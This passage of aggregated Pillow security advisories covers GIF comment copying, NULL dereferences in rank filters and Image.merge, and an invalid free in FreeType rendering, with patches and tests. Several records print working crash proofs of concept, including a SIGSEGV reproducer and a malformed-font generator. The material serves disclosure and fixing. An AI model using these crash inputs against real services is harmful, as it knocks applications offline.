\"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T20:39:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9","https://nvd.nist.gov/vuln/detail/CVE-2026-112390","https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-22hg-r758-rrw9"],"source_kind":"github","identifiers":["GHSA-22hg-r758-rrw9","CVE-2026-112390"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.280Z","epss_percentage":0.00593,"epss_percentile":0.49701,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMmhnLXI3NTgtcnJ3Oc4AB-_K","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yMmhnLXI3NTgtcnJ3Oc4AB-_K","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 7.2.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMmhnLXI3NTgtcnJ3Oc4AB-_K/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112390","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112390","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112390"},{"uuid":"CVE-2026-112390","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112390.json"}]},{"uuid":"GSA_kwCzR0hTQS1mYzlnLTVxZzctbWY0Nc4AB-_J","url":"https://github.com/advisories/GHSA-fc9g-5qg7-mf45","title":"Pillow: Quadratic GIF comment copying during save","description":"On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T20:38:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-fc9g-5qg7-mf45","https://nvd.nist.gov/vuln/detail/CVE-2026-112891","https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-fc9g-5qg7-mf45"],"source_kind":"github","identifiers":["GHSA-fc9g-5qg7-mf45","CVE-2026-112891"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.281Z","epss_percentage":0.00549,"epss_percentile":0.47378,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzlnLTVxZzctbWY0Nc4AB-_J","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mYzlnLTVxZzctbWY0Nc4AB-_J","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 9.2.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzlnLTVxZzctbWY0Nc4AB-_J/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112891","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112891","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112891"},{"uuid":"CVE-2026-112891","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112891.json"}]},{"uuid":"GSA_kwCzR0hTQS0yN2g4LWdmN2otdjVoY84AB-_I","url":"https://github.com/advisories/GHSA-27h8-gf7j-v5hc","title":"Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images","description":"```\n============================================================================\nNULL dereference in ImagingExpand via rank filters on zero-size images\nLocation: src/libImaging/Filter.c:79  in ImagingExpand()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nApplying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.\n\nThe fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn-\u003eimage[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode.\n\nZero-size images reach this point through public API alone:\n\n- `Image.crop()`, `ImageOps.crop()` and `Image.new()`;\n- a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed.\n\nEvery other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w.\n\nThe attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included.\n\n## Details\n\n`ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising:\n\n```python\nfrom PIL import Image, ImageFilter\nim = Image.new(\"L\", (10, 10)).crop((3, 0, 3, 10))   # size (0, 10); crop() accepts left == right\nim.filter(ImageFilter.MedianFilter(3))               # SIGSEGV\n```\n\nUnder gdb on the stock build the fault is at `ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn-\u003exsize = 0` and `imIn-\u003eimage[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m \u003e= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally.\n\nThe unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` (\"Fix 0-width and 0-height images other way\", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #9755 — same `expand()` → `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size.\n\nThe path:\n\n```python\n# src/PIL/ImageFilter.py:111-116   RankFilter.filter  (MedianFilter/MinFilter/MaxFilter subclass it)\n        image = image.expand(self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\n`expand(m)` with `m \u003e 0` is `ImagingExpand(self-\u003eimage, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) × (ysize+2*margin)` — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input:\n\n```c\n// src/libImaging/Filter.c:70-101\n    imOut =\n        ImagingNewDirty(imIn-\u003emode, imIn-\u003exsize + 2 * margin, imIn-\u003eysize + 2 * margin);\n    …\n#define EXPAND_LINE(type, image, yin, yout)                       \\\n    {                                                             \\\n        for (x = 0; x \u003c margin; x++) {                            \\\n            imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];          \\   // line 79\n        }                                                         \\\n        …                                                         \\\n        for (x = 0; x \u003c margin; x++) {                            \\\n            imOut-\u003eimage[yout][margin + imIn-\u003exsize + x] =        \\\n                imIn-\u003eimage[yin][imIn-\u003exsize - 1];                \\   // [-1] when xsize == 0\n        }                                                         \\\n    }\n\n#define EXPAND(type, image)                                                      \\\n    {                                                                            \\\n        for (y = 0; y \u003c margin; y++) {                                           \\\n            EXPAND_LINE(type, image, 0, y);                                      \\   // line 0 of a 0-line image\n        }                                                                        \\\n        …\n        for (y = 0; y \u003c margin; y++) {                                           \\\n            EXPAND_LINE(type, image, imIn-\u003eysize - 1, margin + imIn-\u003eysize + y); \\   // line -1 when ysize == 0\n        }                                                                        \\\n    }\n```\n\nWhy the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im-\u003eimage` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image:\n\n```c\n// src/libImaging/Storage.c:423-426\n    /* 0-width or 0-height image. No need to do anything */\n    if (!im-\u003elinesize || !im-\u003eysize) {\n        return im;\n    }\n```\n\nSo with `xsize == 0` every `imIn-\u003eimage[y]` is NULL and `imIn-\u003eimage[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn-\u003eimage[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn-\u003eimage[-1]`. `ImagingRankFilter` is never reached.\n\nZero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only:\n\n- `Image.crop(box)` rejects only inverted boxes (`src/PIL/Image.py:1385-1390`); `left == right` or `upper == lower` yields a 0×N / N×0 image. `ImageOps.crop(im, border)` with `border == width // 2`, and `Image.new(mode, (0, n))`, do the same.\n- From a file: `ImageFile.__init__` refuses a zero first-frame size (`src/PIL/ImageFile.py:167-173`), but `TiffImagePlugin._setup()` takes `ImageWidth`/`ImageLength` of every later IFD as-is on `seek()` (`src/PIL/TiffImagePlugin.py:1468-1481`). For an uncompressed page of an image opened by path, `ImageFile.load()` takes the mmap branch (`src/PIL/ImageFile.py:307, 325-347`) and `Image.core.map_buffer` builds an `8×0` core image without complaint (`src/map.c:127-141`), so `im.seek(1); im.load()` succeeds and a following `im.filter(ImageFilter.MedianFilter(3))` segfaults in `ImagingExpand` exactly as above (verified under gdb: `imIn-\u003eysize = 0`, `imIn-\u003eimage[0] = 0x0`). A 384-byte two-page TIFF is enough.\n\n## Impact\n\nDenial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) — a box with `x0 == x1` or `y0 == y1` passes `crop()` and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each — a crafted second IFD with `ImageLength = 0` crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the `[-1]` cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in `ImagingOffset` in 39d14a0db (GHSA-f87v-9578-p47w).\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds `Image.new(\"L\", (10, 10)).crop(box)`, prints its size, calls `im.filter(...)` and then prints the size of the result.\n\n- **Control**: a `(1, 10)` crop (`(3, 0, 4, 10)`) through `MedianFilter(3)`. The rank filter accepts a thin image and must return normally.\n- **PoC**: the rank filters on empty crops.\n  - A `(0, 10)` crop (`left == right`, `(3, 0, 3, 10)`) through `MedianFilter(3)` and `MaxFilter(5)`.\n  - A `(10, 0)` crop (`upper == lower`, `(0, 3, 10, 3)`) through `MinFilter(3)`.\n  - A `(0, 0)` crop (`(3, 3, 3, 3)`) through `RankFilter(3, 4)`.\n\nExpected output on the stock build:\n\n```\n  crop(3, 0, 4, 10)    MedianFilter(3)    (1, 10) -\u003e (1, 10)\n  crop(3, 0, 3, 10)    MedianFilter(3)    (0, 10) -\u003e killed by SIGSEGV\n  crop(3, 0, 3, 10)    MaxFilter(5)       (0, 10) -\u003e killed by SIGSEGV\n  crop(0, 3, 10, 3)    MinFilter(3)       (10, 0) -\u003e killed by SIGSEGV\n  crop(3, 3, 3, 3)     RankFilter(3, 4)   (0, 0) -\u003e killed by SIGSEGV\nBUG\n```\n\nThe size printed before `-\u003e` shows that the empty image was created without error. The crash happens inside `filter()`, in `ImagingExpand`. The last line is `BUG` if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is `OK`. The script covers the crop route only; the TIFF route described above fails the same way (`im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3))` on a by-path two-page TIFF whose second IFD has `ImageLength = 0`). With the attached patch, every PoC line prints the unchanged size (for example `(0, 10) -\u003e (0, 10)`) and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch handles the empty input in `ImagingExpand` (`src/libImaging/Filter.c`), right after the `margin` checks and before the `ImagingNewDirty` allocation and the replication loops. With `xsize == 0` or `ysize == 0` there are no edge pixels to replicate, so it returns a zeroed (`ImagingNew`, not `ImagingNewDirty`) image of the expanded size, with the input's palette copied. This keeps `ImagingExpand`'s size contract, so `ImagingRankFilter` then produces an output of `xsize - 2*margin` × `ysize - 2*margin`, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in `src/libImaging/BoxBlur.c` (127004368) and `src/libImaging/Offset.c` (39d14a0db):\n\n```diff\n--- a/src/libImaging/Filter.c\n+++ b/src/libImaging/Filter.c\n@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {\n         return (Imaging)ImagingError_ValueError(\"filter size too large\");\n     }\n \n+    if (imIn-\u003exsize == 0 || imIn-\u003eysize == 0) {\n+        /* No edge pixels to replicate (and no lines to read from), so\n+           return a zeroed image of the expanded size */\n+        imOut = ImagingNew(imIn-\u003emode, imIn-\u003exsize + 2 * margin, imIn-\u003eysize + 2 * margin);\n+        if (!imOut) {\n+            return NULL;\n+        }\n+        ImagingCopyPalette(imOut, imIn);\n+        return imOut;\n+    }\n+\n     imOut =\n         ImagingNewDirty(imIn-\u003emode, imIn-\u003exsize + 2 * margin, imIn-\u003eysize + 2 * margin);\n     if (!imOut) {\n```\n\nThe patch also adds `test_rankfilter_zero_dimension` next to `test_rankfilter_error` in `Tests/test_image_filter.py`, which filters `Image.new(\"L\", size)` for `size` in `((0, 6), (6, 0), (0, 0))` with `MinFilter`, `MedianFilter`, `MaxFilter` and `RankFilter(3, 2)` and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Tests/test_image_filter.py` passes. A Python-level guard in `RankFilter.filter` (`if 0 in image.size: return image.copy()`) would also stop the crash, but the C-level check protects any other caller of `expand()`.\n\n## The patch\n\nReturn a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers\n\nApplies to `src/libImaging/Filter.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py\nindex 974d4b7a3..8dc8e1a1a 100644\n--- a/Tests/test_image_filter.py\n+++ b/Tests/test_image_filter.py\n@@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -\u003e None:\n         im.filter(filter).getpixel((1, 1))\n \n \n+@pytest.mark.parametrize(\n+    \"filter\",\n+    (\n+        ImageFilter.MinFilter,\n+        ImageFilter.MedianFilter,\n+        ImageFilter.MaxFilter,\n+        ImageFilter.RankFilter(3, 2),\n+    ),\n+)\n+@pytest.mark.parametrize(\"size\", ((0, 6), (6, 0), (0, 0)))\n+def test_rankfilter_zero_dimension(\n+    filter: ImageFilter.RankFilter, size: tuple[int, int]\n+) -\u003e None:\n+    im = Image.new(\"L\", size)\n+    assert im.filter(filter).size == size\n+\n+\n def test_rankfilter_properties() -\u003e None:\n     rankfilter = ImageFilter.RankFilter(3, 2)\n \ndiff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c\nindex 3492a871f..d702db5f9 100644\n--- a/src/libImaging/Filter.c\n+++ b/src/libImaging/Filter.c\n@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {\n         return (Imaging)ImagingError_ValueError(\"filter size too large\");\n     }\n \n+    if (imIn-\u003exsize == 0 || imIn-\u003eysize == 0) {\n+        /* No edge pixels to replicate (and no lines to read from), so\n+           return a zeroed image of the expanded size */\n+        imOut = ImagingNew(imIn-\u003emode, imIn-\u003exsize + 2 * margin, imIn-\u003eysize + 2 * margin);\n+        if (!imOut) {\n+            return NULL;\n+        }\n+        ImagingCopyPalette(imOut, imIn);\n+        return imOut;\n+    }\n+\n     imOut =\n         ImagingNewDirty(imIn-\u003emode, imIn-\u003exsize + 2 * margin, imIn-\u003eysize + 2 * margin);\n     if (!imOut) {\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 1,333 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image\n# SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read.\n# Each case runs in a child interpreter; BUG if the control returns and any\n# zero-size case dies of SIGSEGV.\nimport signal, subprocess, sys\n\nCHILD = \"\"\"\nimport resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\nfrom PIL import Image, ImageFilter\nim = Image.new(\"L\", (10, 10)).crop(%s)      # public API; crop accepts x0==x1 / y0==y1\nprint(im.size, \"-\u003e\", end=\" \", flush=True)\nprint(im.filter(ImageFilter.%s).size)\n\"\"\"\n\ndef run(box, flt):\n    p = subprocess.run([sys.executable, \"-c\", CHILD % (box, flt)],\n                       capture_output=True, text=True)\n    out = p.stdout.strip()\n    if p.returncode \u003c 0:\n        out += \" killed by \" + signal.Signals(-p.returncode).name\n    print(f\"  crop{box!s:\u003c16} {flt:\u003c18} {out}\")\n    return p.returncode\n\nctrl = run((3, 0, 4, 10), \"MedianFilter(3)\")          # (1,10): must work\nrcs = [run((3, 0, 3, 10), \"MedianFilter(3)\"),        # (0,10)\n       run((3, 0, 3, 10), \"MaxFilter(5)\"),\n       run((0, 3, 10, 3), \"MinFilter(3)\"),           # (10,0)\n       run((3, 3, 3, 3), \"RankFilter(3, 4)\")]        # (0,0)\nbug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs)\nprint(\"BUG\" if bug else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T20:32:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc","https://nvd.nist.gov/vuln/detail/CVE-2026-112392","https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-27h8-gf7j-v5hc"],"source_kind":"github","identifiers":["GHSA-27h8-gf7j-v5hc","CVE-2026-112392"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.284Z","epss_percentage":0.0053,"epss_percentile":0.46279,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yN2g4LWdmN2otdjVoY84AB-_I","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yN2g4LWdmN2otdjVoY84AB-_I","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yN2g4LWdmN2otdjVoY84AB-_I/related_packages","related_advisories":[{"uuid":"CVE-2026-112392","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112392.json"},{"uuid":"UBUNTU-CVE-2026-112392","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112392","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112392"}]},{"uuid":"GSA_kwCzR0hTQS1jcDl2LTY2MnEtdnZ4Oc4AB-_H","url":"https://github.com/advisories/GHSA-cp9v-662q-vvx9","title":"Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0","description":"### Summary\n`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.\n\n### Details\nThe validation loop skips band 0:\n\n- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.\n\nFor an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]-\u003eimage8[y]` for the multi-band output modes:\n\n- `src/libImaging/Bands.c:302`, `:311`, `:321`\n\nThe IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:\n\n- `src/PIL/IptcImagePlugin.py:156-160`\n- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.\n\n### PoC\n```python\nfrom PIL import Image\n\n# Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only\n# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.\nband0 = Image.new(\"I\", (4, 4))\nImage.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))])\n```\n\nRun it:\n```\n$ python 02_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000\n    #0 ImagingMerge   src/libImaging/Bands.c:311\n    #1 _merge         src/_imaging.c:2492\nSUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge\n```\nThe null address confirms the dereference of the missing `image8` plane for band 0.\n\n### Impact\nNULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T20:30:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9","https://nvd.nist.gov/vuln/detail/CVE-2026-112405","https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-cp9v-662q-vvx9"],"source_kind":"github","identifiers":["GHSA-cp9v-662q-vvx9","CVE-2026-112405"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.285Z","epss_percentage":0.00532,"epss_percentile":0.46377,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcDl2LTY2MnEtdnZ4Oc4AB-_H","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcDl2LTY2MnEtdnZ4Oc4AB-_H","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 12.0.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcDl2LTY2MnEtdnZ4Oc4AB-_H/related_packages","related_advisories":[{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"CVE-2026-112405","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112405.json"}]},{"uuid":"GSA_kwCzR0hTQS1qNG05LTZ3MzYtcHc0N84AB-_G","url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","title":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","description":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\"\u003eH\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\"\u003eII\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\"\u003eI\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\"\u003eH\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\"\u003eh\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -\u003e FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each 